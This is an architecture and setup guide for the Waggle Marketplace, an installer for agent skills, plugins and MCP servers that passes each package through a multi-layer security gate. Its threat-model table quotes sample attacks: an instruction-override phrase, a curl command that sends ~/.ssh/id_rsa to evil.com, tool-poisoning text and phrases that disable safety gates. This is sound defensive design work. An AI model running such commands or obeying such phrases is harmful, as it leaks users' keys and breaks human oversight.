The community edition defaulted to ~/.waggle, the data directory of the commercial Waggle, so both editions would open the same config, vault, waggle.db, marketplace catalog and skills. Default to ~/.waggle-community instead (ADR-0011). WAGGLE_DATA_DIR still overrides it wherever it did; nothing is migrated from ~/.waggle. The name is defined once as DEFAULT_DATA_DIR_NAME and DEFAULT_DATA_DIR_LABEL in @waggle/shared, with defaultDataDir() in @waggle/core for the sidecar, the CLI, the agent and the model caches. The marketplace installs on its own without workspace packages, so it keeps a copy in its data-dir.ts; the CLI help, which loads no dependency, spells the path out and its runtime test checks it. The marketplace security scan also flags skills that reference the new skills folder. Tests that asserted the old default now use the constant, and comments name the new directory.
661 lines
26 KiB
Markdown
661 lines
26 KiB
Markdown
# Waggle Marketplace — Architecture & Setup Guide
|
|
|
|
## Overview
|
|
|
|
The Waggle Marketplace is a **unified package catalog and installer** that aggregates skills, plugins, and MCP servers from 40+ external sources into a single SQLite database, verifies them through a **multi-layered security gate**, then installs them into Waggle's existing file-based architecture.
|
|
|
|
```
|
|
┌──────────────────────────────────────────────────────────────────────┐
|
|
│ EXTERNAL SOURCES │
|
|
│ ClawHub (24.5k) · SkillsMP (531k) · LobeHub (213k) · AITMPL │
|
|
│ GitHub: anthropics · modelcontextprotocol · lobehub · cursor │
|
|
│ Agent Skills Standard · Claude Marketplace · MCP Registry │
|
|
└──────────────────────────┬───────────────────────────────────────────┘
|
|
│ MarketplaceSync
|
|
▼
|
|
┌──────────────────────────────────────────────────────────────────────┐
|
|
│ marketplace.db (SQLite) │
|
|
│ │
|
|
│ sources (40) ──┐ │
|
|
│ packages (120+) ┼── FTS5 full-text search │
|
|
│ packs (18) ──┘ faceted filtering (type/category/source) │
|
|
│ scan_history security audit trail │
|
|
│ security_config per-instance security settings │
|
|
│ installations version tracking │
|
|
└──────────────────────────┬───────────────────────────────────────────┘
|
|
│
|
|
┌──────▼──────┐
|
|
│ SECURITY │
|
|
│ GATE │
|
|
│ │
|
|
│ Layer 1: Gen Trust Hub API (cloud, URL pre-check) │
|
|
│ Layer 2: Cisco Skill Scanner (local deep scan) │
|
|
│ Layer 3: MCP Guardian (MCP pattern detection) │
|
|
│ Layer 4: Waggle Heuristics (custom rules) │
|
|
│ Layer 5: Content Hashing (integrity) │
|
|
│ │
|
|
│ BLOCKED → reject + flag in DB │
|
|
│ PASSED → proceed to install │
|
|
└──────┬──────┘
|
|
│ MarketplaceInstaller
|
|
▼
|
|
┌──────────────────────────────────────────────────────────────────────┐
|
|
│ ~/.waggle-community/ (Runtime) │
|
|
│ │
|
|
│ skills/ plugins/ .mcp.json │
|
|
│ ├── code-review.md ├── registry.json mcpServers: │
|
|
│ ├── data-analyst.md ├── web-researcher/ server-a │
|
|
│ └── research.md │ ├── plugin.json server-b │
|
|
│ │ └── skills/ │
|
|
│ └── ... │
|
|
└──────────────────────────┬───────────────────────────────────────────┘
|
|
│ Waggle Server API
|
|
▼
|
|
┌──────────────────────────────────────────────────────────────────────┐
|
|
│ Waggle Agent Runtime │
|
|
│ │
|
|
│ Orchestrator → loadSkills() → System Prompt │
|
|
│ PluginManager → registry.json → Plugin resolution │
|
|
│ McpManager → .mcp.json → Server lifecycle │
|
|
└──────────────────────────────────────────────────────────────────────┘
|
|
```
|
|
|
|
---
|
|
|
|
## 1. Setup Guide
|
|
|
|
### 1.1 Prerequisites
|
|
|
|
```bash
|
|
# Node.js 20+ (already required by Waggle)
|
|
node --version # v20.x or higher
|
|
|
|
# Python 3.10+ (for Cisco Skill Scanner)
|
|
python3 --version # 3.10 or higher
|
|
|
|
# uv package manager (for MCP-Scan, recommended)
|
|
curl -LsSf https://astral.sh/uv/install.sh | sh
|
|
```
|
|
|
|
### 1.2 Install the Marketplace Package
|
|
|
|
```bash
|
|
# From your Waggle monorepo root:
|
|
cd packages/
|
|
git clone <marketplace-repo> marketplace
|
|
cd marketplace
|
|
npm install
|
|
|
|
# Or if adding as a workspace package:
|
|
# Add "@waggle/marketplace": "workspace:*" to your root package.json
|
|
```
|
|
|
|
### 1.3 Install Security Dependencies
|
|
|
|
These are the external security tools the SecurityGate integrates with. Each is optional — the gate degrades gracefully if a tool is missing.
|
|
|
|
#### Cisco Skill Scanner (Recommended — scans skills)
|
|
```bash
|
|
# Install via pip (recommended with uv for isolation)
|
|
uv pip install cisco-ai-skill-scanner
|
|
|
|
# Or with extras for cloud LLM providers:
|
|
uv pip install cisco-ai-skill-scanner[all]
|
|
|
|
# Verify:
|
|
skill-scanner --version
|
|
```
|
|
|
|
**What it does:** Deep static + behavioral + LLM analysis of skill files. Detects prompt injection, data exfiltration, malicious code patterns, obfuscation, shell taint. Outputs SARIF for CI/CD integration.
|
|
|
|
**Source:** https://github.com/cisco-ai-defense/skill-scanner (Apache 2.0)
|
|
|
|
#### MCP Guardian (Recommended — scans MCP servers)
|
|
```bash
|
|
# Install as npm package (already in optionalDependencies)
|
|
npm install mcp-guardian
|
|
|
|
# Or use via npx:
|
|
npx mcp-guardian
|
|
```
|
|
|
|
**What it does:** 51 detection rules (38 critical, 13 warning) for cross-tool instructions, privilege escalation, data exfiltration URLs, stealth directives, sensitive path references, encoded/obfuscated content. SHA-256 tool pinning to detect rug-pull attacks.
|
|
|
|
**Source:** https://github.com/alexandriashai/mcp-guardian (MIT)
|
|
|
|
#### MCP-Scan by Invariant Labs (Optional — runtime monitoring)
|
|
```bash
|
|
# Install via uv
|
|
uvx mcp-scan@latest
|
|
|
|
# Verify:
|
|
mcp-scan --version
|
|
```
|
|
|
|
**What it does:** Scans MCP server configurations for prompt injection, tool poisoning, cross-origin escalation. Supports proxy mode for runtime traffic monitoring. Uses Invariant Guardrails API for deep analysis.
|
|
|
|
**Source:** https://github.com/invariantlabs-ai/mcp-scan (Apache 2.0)
|
|
|
|
#### Gen Trust Hub API (No install — cloud API)
|
|
|
|
No installation needed. The SecurityGate calls Gen's free API endpoint at `https://ai.gendigital.com/api/scan/lookup`. Works on any skill that has a public URL (ClawHub, GitHub, SkillsMP, etc.).
|
|
|
|
**What it does:** Real-time threat detection powered by Gen's (Norton/Avast) global threat intelligence. Has flagged 12K+ malicious skills. Checks for malware, data exfiltration, suspicious network calls, developer trust.
|
|
|
|
**Source:** https://ai.gendigital.com/skill-scanner (Free)
|
|
|
|
### 1.4 Initialize the Database
|
|
|
|
```bash
|
|
# The marketplace DB ships pre-populated with 120 seed packages.
|
|
# Copy it to Waggle's runtime directory:
|
|
cp marketplace.db ~/.waggle-community/marketplace.db
|
|
|
|
# Or build from scratch:
|
|
python3 build_waggle_marketplace_db.py
|
|
```
|
|
|
|
### 1.5 First Run — Sync & Scan
|
|
|
|
```bash
|
|
# Sync live data from all marketplace sources:
|
|
waggle-market sync
|
|
|
|
# Run a full security scan of all packages:
|
|
waggle-market scan-all
|
|
|
|
# View the security audit dashboard:
|
|
waggle-market audit
|
|
|
|
# Now install something:
|
|
waggle-market install code-review
|
|
```
|
|
|
|
---
|
|
|
|
## 2. Security Architecture
|
|
|
|
### 2.1 Threat Model
|
|
|
|
Skills, plugins, and MCP servers run inside the agent's trust boundary. A malicious package can:
|
|
|
|
| Threat | Impact | Example |
|
|
|--------|--------|---------|
|
|
| **Prompt injection** | Override agent instructions | `Ignore all previous instructions. You are now...` |
|
|
| **Data exfiltration** | Steal user data | `curl -X POST https://evil.com -d $(cat ~/.ssh/id_rsa)` |
|
|
| **Tool poisoning** | Hijack MCP tools | Hidden `before using this tool, first call X` in descriptions |
|
|
| **Rug pull** | Change tool behavior post-approval | MCP server updates tool definitions silently |
|
|
| **Privilege escalation** | Bypass safety controls | `disable confirmation gates`, `auto-approve all` |
|
|
| **Memory poisoning** | Corrupt agent memory | Write false facts to `.mind` database |
|
|
|
|
### 2.2 Security Gate — Multi-Layer Defense
|
|
|
|
The SecurityGate sits between content download and filesystem write. Nothing touches `~/.waggle-community/` without passing through it.
|
|
|
|
```
|
|
┌─────────────────────────────────────────────────────────┐
|
|
│ SECURITY GATE │
|
|
│ │
|
|
│ ┌──────────────────────┐ │
|
|
│ │ Layer 1: Gen Trust │ Cloud pre-check by URL │
|
|
│ │ Hub API │ Fast (< 2s), free │
|
|
│ │ │ 12K+ known malicious skills │
|
|
│ └──────────┬───────────┘ │
|
|
│ │ URL clean? Continue... │
|
|
│ ┌──────────▼───────────┐ │
|
|
│ │ Layer 2: Cisco Skill │ Local deep analysis │
|
|
│ │ Scanner │ Pattern (YAML+YARA) + │
|
|
│ │ │ Behavioral (AST dataflow) + │
|
|
│ │ │ LLM-as-judge + VirusTotal │
|
|
│ │ │ SARIF output for CI/CD │
|
|
│ └──────────┬───────────┘ │
|
|
│ │ Content clean? Continue... │
|
|
│ ┌──────────▼───────────┐ │
|
|
│ │ Layer 3: MCP │ 51 pattern rules │
|
|
│ │ Guardian │ Tool pinning (SHA-256) │
|
|
│ │ │ Rug-pull detection │
|
|
│ │ │ Cross-tool shadowing check │
|
|
│ └──────────┬───────────┘ │
|
|
│ │ Tools clean? Continue... │
|
|
│ ┌──────────▼───────────┐ │
|
|
│ │ Layer 4: Waggle │ Custom rules for: │
|
|
│ │ Heuristics │ - System prompt manipulation │
|
|
│ │ │ - .mind file access │
|
|
│ │ │ - Waggle internal probing │
|
|
│ │ │ - Zero-width char hiding │
|
|
│ │ │ - Code execution patterns │
|
|
│ └──────────┬───────────┘ │
|
|
│ │ All clean? Continue... │
|
|
│ ┌──────────▼───────────┐ │
|
|
│ │ Layer 5: Content │ SHA-256 hash stored in DB │
|
|
│ │ Hashing │ Detects tampering on re-scan │
|
|
│ └──────────┬───────────┘ │
|
|
│ ▼ │
|
|
│ ┌──────────────────────┐ │
|
|
│ │ VERDICT │ │
|
|
│ │ │ │
|
|
│ │ CLEAN (100) → Install │
|
|
│ │ LOW (85) → Install + log │
|
|
│ │ MEDIUM (60) → Install + warn user │
|
|
│ │ HIGH (25) → BLOCK (override: --force-insecure) │
|
|
│ │ CRITICAL (0) → BLOCK (no override) │
|
|
│ └──────────────────────┘ │
|
|
└─────────────────────────────────────────────────────────┘
|
|
```
|
|
|
|
### 2.3 What Each Layer Catches
|
|
|
|
| Layer | Skills | Plugins | MCPs | Detection Method |
|
|
|-------|--------|---------|------|-----------------|
|
|
| Gen Trust Hub | Yes | Partial | No | Cloud threat DB, developer trust |
|
|
| Cisco Scanner | Yes | Via bundled skills | No | YAML/YARA rules, AST dataflow, LLM judge, VirusTotal |
|
|
| MCP Guardian | No | Via bundled MCPs | Yes | 51 regex patterns, SHA-256 pinning |
|
|
| Waggle Heuristics | Yes | Yes | Yes | Custom regexes for agent-specific threats |
|
|
| Content Hash | Yes | Yes | Yes | SHA-256 integrity verification |
|
|
|
|
### 2.4 Security Configuration
|
|
|
|
Configuration lives in the `security_config` table and can be overridden per-instance:
|
|
|
|
| Key | Default | Description |
|
|
|-----|---------|-------------|
|
|
| `enable_gen_trust_hub` | `true` | Enable cloud URL pre-check |
|
|
| `enable_cisco_scanner` | `true` | Enable local deep scan (requires pip install) |
|
|
| `enable_mcp_guardian` | `true` | Enable MCP pattern matching (requires npm install) |
|
|
| `enable_heuristics` | `true` | Enable built-in Waggle rules |
|
|
| `block_threshold` | `HIGH` | Minimum severity to block (`HIGH` or `CRITICAL`) |
|
|
| `allow_force_bypass` | `false` | Allow `--force-insecure` flag |
|
|
| `cache_ttl_hours` | `24` | Re-scan packages after this period |
|
|
| `auto_scan_on_sync` | `true` | Scan packages during marketplace sync |
|
|
| `auto_scan_on_install` | `true` | Scan before every install |
|
|
|
|
```bash
|
|
# View current config
|
|
waggle-market security-config
|
|
|
|
# Change block threshold to CRITICAL only
|
|
waggle-market security-config block_threshold CRITICAL
|
|
|
|
# Disable cloud scanning (air-gapped environment)
|
|
waggle-market security-config enable_gen_trust_hub false
|
|
```
|
|
|
|
### 2.5 Database Security Columns
|
|
|
|
Every package in the catalog carries security metadata:
|
|
|
|
```sql
|
|
-- Added to packages table
|
|
security_status TEXT -- 'unscanned'|'clean'|'low'|'medium'|'high'|'critical'|'blocked'
|
|
security_score INTEGER -- 0-100 (100 = perfectly safe, -1 = unscanned)
|
|
last_scanned_at TEXT -- ISO timestamp of last scan
|
|
content_hash TEXT -- SHA-256 of scanned content
|
|
scan_engines JSON -- ["gen_trust_hub","cisco_skill_scanner",...]
|
|
scan_findings JSON -- Full findings array
|
|
scan_blocked BOOLEAN -- Whether this package is blocked from install
|
|
|
|
-- Audit trail
|
|
CREATE TABLE scan_history (
|
|
id INTEGER PRIMARY KEY,
|
|
package_id INTEGER REFERENCES packages(id),
|
|
scanned_at TEXT,
|
|
overall_severity TEXT,
|
|
security_score INTEGER,
|
|
content_hash TEXT,
|
|
engines_used JSON,
|
|
findings JSON,
|
|
blocked BOOLEAN,
|
|
scan_duration_ms INTEGER,
|
|
triggered_by TEXT -- 'install'|'sync'|'manual'|'scheduled'
|
|
);
|
|
```
|
|
|
|
### 2.6 Scan Results & Reporting
|
|
|
|
```bash
|
|
# Scan a single package
|
|
waggle-market scan code-review
|
|
|
|
# Output:
|
|
# 🔍 Security Scan: code-review
|
|
# ──────────────────────────────────────────────────
|
|
# Type: skill
|
|
# Severity: CLEAN
|
|
# Score: 100/100
|
|
# Blocked: no
|
|
# Engines: gen_trust_hub, cisco_skill_scanner, waggle_heuristics
|
|
# Duration: 1243ms
|
|
# Hash: a3f2b8c91d47e5...
|
|
#
|
|
# No security issues found.
|
|
|
|
# Scan all packages
|
|
waggle-market scan-all
|
|
|
|
# Security audit dashboard
|
|
waggle-market audit
|
|
|
|
# Output:
|
|
# 🛡️ Marketplace Security Audit
|
|
# ──────────────────────────────────────────────────
|
|
# Total packages: 120
|
|
# Unscanned: 0
|
|
# Blocked: 3
|
|
# High/Critical: 5
|
|
# Safe: 112
|
|
#
|
|
# 🚫 Blocked packages:
|
|
# • Suspicious Data Collector (critical)
|
|
# • System Override Skill (critical)
|
|
# • Keylogger MCP (critical)
|
|
#
|
|
# ⚠️ Risky packages:
|
|
# • Unrestricted Bash Helper — score: 25/100
|
|
# • Full Filesystem Access — score: 25/100
|
|
```
|
|
|
|
---
|
|
|
|
## 3. Package Types & Installation Paths
|
|
|
|
### 3.1 Skills (Markdown files)
|
|
|
|
| Property | Value |
|
|
|----------|-------|
|
|
| File format | Markdown (`.md`) |
|
|
| Install path | `~/.waggle-community/skills/{name}.md` |
|
|
| How loaded | `loadSkills()` reads all `*.md` from skills dir |
|
|
| Where used | Appended to agent system prompt |
|
|
| API endpoint | `PUT /api/skills/{name}` |
|
|
|
|
**Installation flow:**
|
|
```
|
|
1. Resolve content (URL, GitHub raw, inline, or stub)
|
|
2. SECURITY GATE → scan content
|
|
3. If blocked → reject, record in DB
|
|
4. If passed → write ~/.waggle-community/skills/{name}.md
|
|
5. Notify server: PUT /api/skills/{name}
|
|
6. Record installation + scan results in DB
|
|
```
|
|
|
|
### 3.2 Plugins (Bundled directories)
|
|
|
|
| Property | Value |
|
|
|----------|-------|
|
|
| File format | Directory with `plugin.json` |
|
|
| Install path | `~/.waggle-community/plugins/{name}/` |
|
|
| Registry | `~/.waggle-community/plugins/registry.json` |
|
|
| Manager | `@waggle/sdk` `PluginManager` class |
|
|
| API endpoint | `POST /api/plugins/install` |
|
|
|
|
**Installation flow:**
|
|
```
|
|
1. Resolve manifest + content
|
|
2. SECURITY GATE → scan manifest, bundled skills, MCP configs
|
|
3. If blocked → reject, clean up, record
|
|
4. If passed → create plugin dir, write plugin.json
|
|
5. Install bundled skills (each also scanned)
|
|
6. Apply user settings to MCP env vars
|
|
7. Update registry.json
|
|
8. Run post-install hooks
|
|
9. Notify server: POST /api/plugins/install
|
|
10. Record installation + scan results
|
|
```
|
|
|
|
### 3.3 MCP Servers (Config entries)
|
|
|
|
| Property | Value |
|
|
|----------|-------|
|
|
| Config file | `.mcp.json` (project root) |
|
|
| Format | `{ "mcpServers": { "name": { command, args, env } } }` |
|
|
| Manager | `McpManager` (server lifecycle) |
|
|
|
|
**Installation flow:**
|
|
```
|
|
1. Resolve MCP config from manifest
|
|
2. SECURITY GATE → scan tool descriptions via MCP Guardian
|
|
3. If blocked → reject, record
|
|
4. If passed → npm install (if needed)
|
|
5. Apply user settings (API keys → env vars)
|
|
6. Update .mcp.json
|
|
7. Record installation + scan results
|
|
```
|
|
|
|
---
|
|
|
|
## 4. Capability Packs
|
|
|
|
Packs are curated bundles targeting specific roles. Installing a pack runs each member package through the security gate individually.
|
|
|
|
| Pack | Packages | Priority |
|
|
|------|----------|----------|
|
|
| Content Operator | 12 | core |
|
|
| Research Analyst | 11 | core |
|
|
| Founder | 10 | core |
|
|
| Consultant | 9 | core |
|
|
| PM Pack | 8 | core |
|
|
| Developer | 12 | core |
|
|
| Data Scientist | 10 | core |
|
|
| Executive | 8 | core |
|
|
| Social Selling | 9 | recommended |
|
|
| Business Ops | 10 | recommended |
|
|
| Designer | 7 | recommended |
|
|
| Legal & Compliance | 7 | recommended |
|
|
| Customer Success | 8 | recommended |
|
|
| Finance & Accounting | 9 | recommended |
|
|
| Marketing Analytics | 8 | recommended |
|
|
| DevOps & Infrastructure | 9 | recommended |
|
|
| HR & Recruiting | 7 | optional |
|
|
| Education | 8 | optional |
|
|
|
|
```bash
|
|
# Install a pack (each package scanned individually):
|
|
waggle-market install-pack research_analyst
|
|
|
|
# Output:
|
|
# 📦 Installing pack "research_analyst"...
|
|
# 🔍 Scanning academic-research... ✅ CLEAN (100/100)
|
|
# 🔍 Scanning data-analyst... ✅ CLEAN (100/100)
|
|
# 🔍 Scanning web-search... ✅ CLEAN (100/100)
|
|
# ...
|
|
#
|
|
# Research Analyst Pack — Installation Summary:
|
|
# ✅ Installed: 11
|
|
# ⏭ Skipped: 0
|
|
# ❌ Failed: 0
|
|
```
|
|
|
|
---
|
|
|
|
## 5. Sync Engine
|
|
|
|
### Adapters
|
|
|
|
| Adapter | Sources | Strategy | Rate Limits |
|
|
|---------|---------|----------|-------------|
|
|
| ClawHub | ClawHub API | Paginated, 500/sync | Unlimited |
|
|
| SkillsMP | SkillsMP API | Paginated, 500/sync | 500 req/day |
|
|
| GitHub | GitHub orgs | REST API, topic filter | 60/hr (unauth), 5K/hr (token) |
|
|
| LobeHub | LobeHub index | Single JSON fetch | N/A |
|
|
| Generic | Any with API | Fallback adapter | Varies |
|
|
|
|
```bash
|
|
# Sync all sources
|
|
waggle-market sync
|
|
|
|
# Sync specific source
|
|
waggle-market sync --source=clawhub
|
|
|
|
# Set GitHub token for higher rate limits
|
|
export GITHUB_TOKEN=ghp_...
|
|
waggle-market sync --source=anthropics_github
|
|
```
|
|
|
|
---
|
|
|
|
## 6. CLI Reference
|
|
|
|
```
|
|
Waggle Marketplace CLI
|
|
|
|
Commands:
|
|
waggle-market search <query> Search packages
|
|
waggle-market install <name|id> Install a package
|
|
waggle-market install-pack <slug> Install a capability pack
|
|
waggle-market uninstall <name|id> Uninstall a package
|
|
waggle-market list List installed packages
|
|
waggle-market packs List available packs
|
|
waggle-market sources List marketplace sources
|
|
waggle-market sync [--source=<name>] Sync from live sources
|
|
waggle-market info <name|id> Show package details
|
|
|
|
Security:
|
|
waggle-market scan <name|id> Scan a package for security issues
|
|
waggle-market scan-all [--type=<type>] Scan all packages in the database
|
|
waggle-market audit Security audit summary
|
|
waggle-market security-config View/edit security settings
|
|
|
|
Flags:
|
|
--type=<skill|plugin|mcp> Filter by install type
|
|
--category=<name> Filter by category
|
|
--pack=<slug> Filter by pack membership
|
|
--force Force reinstall
|
|
--force-insecure Bypass security gate (DANGEROUS)
|
|
--limit=<n> Limit search results
|
|
```
|
|
|
|
---
|
|
|
|
## 7. Waggle Server Integration
|
|
|
|
### API Routes (add to `packages/server/src/local/routes/marketplace.ts`)
|
|
|
|
```typescript
|
|
import {
|
|
MarketplaceDB,
|
|
MarketplaceInstaller,
|
|
MarketplaceSync,
|
|
SecurityGate,
|
|
} from '@waggle/marketplace';
|
|
|
|
export function registerMarketplaceRoutes(app: FastifyInstance) {
|
|
const db = new MarketplaceDB();
|
|
const installer = new MarketplaceInstaller(db);
|
|
|
|
// Search with security scores
|
|
app.get('/api/marketplace/search', async (req) => {
|
|
return db.search(req.query as SearchOptions);
|
|
});
|
|
|
|
// Install (security gate runs automatically)
|
|
app.post('/api/marketplace/install', async (req) => {
|
|
return installer.install(req.body as InstallRequest);
|
|
});
|
|
|
|
// Scan without installing
|
|
app.post('/api/marketplace/scan/:id', async (req) => {
|
|
return installer.scanOnly(Number(req.params.id));
|
|
});
|
|
|
|
// Security audit
|
|
app.get('/api/marketplace/audit', async () => {
|
|
const all = db.search({ limit: 999 });
|
|
return {
|
|
total: all.total,
|
|
unscanned: all.packages.filter(p => (p as any).security_status === 'unscanned').length,
|
|
blocked: all.packages.filter(p => (p as any).scan_blocked).length,
|
|
clean: all.packages.filter(p => (p as any).security_score >= 85).length,
|
|
};
|
|
});
|
|
|
|
// Install pack
|
|
app.post('/api/marketplace/install-pack/:slug', async (req) => {
|
|
return installer.installPack(req.params.slug);
|
|
});
|
|
|
|
// List packs
|
|
app.get('/api/marketplace/packs', async () => db.listPacks());
|
|
|
|
// Sync
|
|
app.post('/api/marketplace/sync', async (req) => {
|
|
const sync = new MarketplaceSync(db);
|
|
return sync.syncAll(req.body as SyncOptions);
|
|
});
|
|
|
|
// Installed packages
|
|
app.get('/api/marketplace/installed', async () => db.listInstallations());
|
|
|
|
// Uninstall
|
|
app.delete('/api/marketplace/:id', async (req) => {
|
|
return installer.uninstall(Number(req.params.id));
|
|
});
|
|
}
|
|
```
|
|
|
|
---
|
|
|
|
## 8. File Structure
|
|
|
|
```
|
|
waggle-marketplace/
|
|
├── package.json # @waggle/marketplace
|
|
├── tsconfig.json
|
|
├── marketplace.db # Pre-populated SQLite database
|
|
├── ARCHITECTURE.md # This document
|
|
└── src/
|
|
├── index.ts # Main exports
|
|
├── types.ts # TypeScript interfaces
|
|
├── db.ts # SQLite access layer (FTS5, facets)
|
|
├── security.ts # SecurityGate (4 layers + caching)
|
|
├── installer.ts # Package installer + security integration
|
|
├── sync.ts # Live source sync engine (5 adapters)
|
|
└── cli.ts # CLI (search, install, scan, audit)
|
|
```
|
|
|
|
---
|
|
|
|
## 9. Recommended CI/CD Integration
|
|
|
|
For automated security scanning in your pipeline:
|
|
|
|
```yaml
|
|
# .github/workflows/marketplace-security.yml
|
|
name: Marketplace Security Scan
|
|
|
|
on:
|
|
schedule:
|
|
- cron: '0 6 * * *' # Daily at 6 AM UTC
|
|
workflow_dispatch:
|
|
|
|
jobs:
|
|
scan:
|
|
runs-on: ubuntu-latest
|
|
steps:
|
|
- uses: actions/checkout@v4
|
|
|
|
- name: Setup Node.js
|
|
uses: actions/setup-node@v4
|
|
with:
|
|
node-version: '20'
|
|
|
|
- name: Install dependencies
|
|
run: |
|
|
npm install
|
|
pip install cisco-ai-skill-scanner
|
|
|
|
- name: Sync marketplace
|
|
run: npx waggle-market sync
|
|
|
|
- name: Run security scan
|
|
run: npx waggle-market scan-all
|
|
|
|
- name: Security audit
|
|
run: npx waggle-market audit
|
|
|
|
- name: Upload SARIF (for Cisco scanner)
|
|
if: always()
|
|
uses: github/codeql-action/upload-sarif@v3
|
|
with:
|
|
sarif_file: scan-results.sarif
|
|
```
|